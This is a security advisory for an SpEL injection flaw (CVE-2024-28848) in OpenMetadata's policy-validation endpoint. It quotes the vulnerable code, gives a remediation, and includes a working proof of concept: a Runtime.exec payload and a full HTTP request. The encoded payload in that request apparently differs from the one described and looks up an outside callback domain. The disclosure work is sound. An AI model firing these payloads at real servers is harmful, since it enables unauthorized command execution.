CVE-2024-28848

Description

### SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`) ***Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.*** The [`‎CompiledRule::validateExpression`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51) method evaluates an SpEL expression using an [`StandardEvaluationContext`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57), allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/policies/validation/condition/<expression>` endpoint passes user-controlled data `CompiledRule::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system. [Snippet from PolicyResource.java](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L448) ```java @GET @Path("/validation/condition/{expression}") @Operation( operationId = "validateCondition", summary = "Validate a given condition", description = "Validate a given condition expression used in authoring rules.", responses = { @ApiResponse(responseCode = "204", description = "No value is returned"), @ApiResponse(responseCode = "400", description = "Invalid expression") }) public void validateCondition( @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Parameter(description = "Expression of validating rule", schema = @Schema(type = "string")) @PathParam("expression") String expression) { CompiledRule.validateExpression(expression, Boolean.class); } ``` ```java public static <T> void validateExpression(String condition, Class<T> clz) { if (condition == null) { return; } Expression expression = parseExpression(condition); RuleEvaluator ruleEvaluator = new RuleEvaluator(); StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator); try { expression.getValue(evaluationContext, clz); } catch (Exception exception) { // Remove unnecessary class details in the exception message String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", ""); throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message)); } } ``` In addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution. This vulnerability was discovered with the help of CodeQL's [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query. #### Proof of concept - Prepare the payload - Encode `touch /tmp/pwned` in Base64 => `dG91Y2ggL3RtcC9wd25lZA==` - SpEL expression to run system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))` - Encode the payload using URL encoding: ``` %54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29 ``` - Send the payload using a valid JWT token: ```http GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2 Host: sandbox.open-metadata.org Authorization: Bearer <non-admin JWT> ``` - Verify that a file called `/tmp/pwned` was created in the OpenMetadata server #### Impact This issue may lead to Remote Code Execution by a registered and authenticated user. #### Remediation Use [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.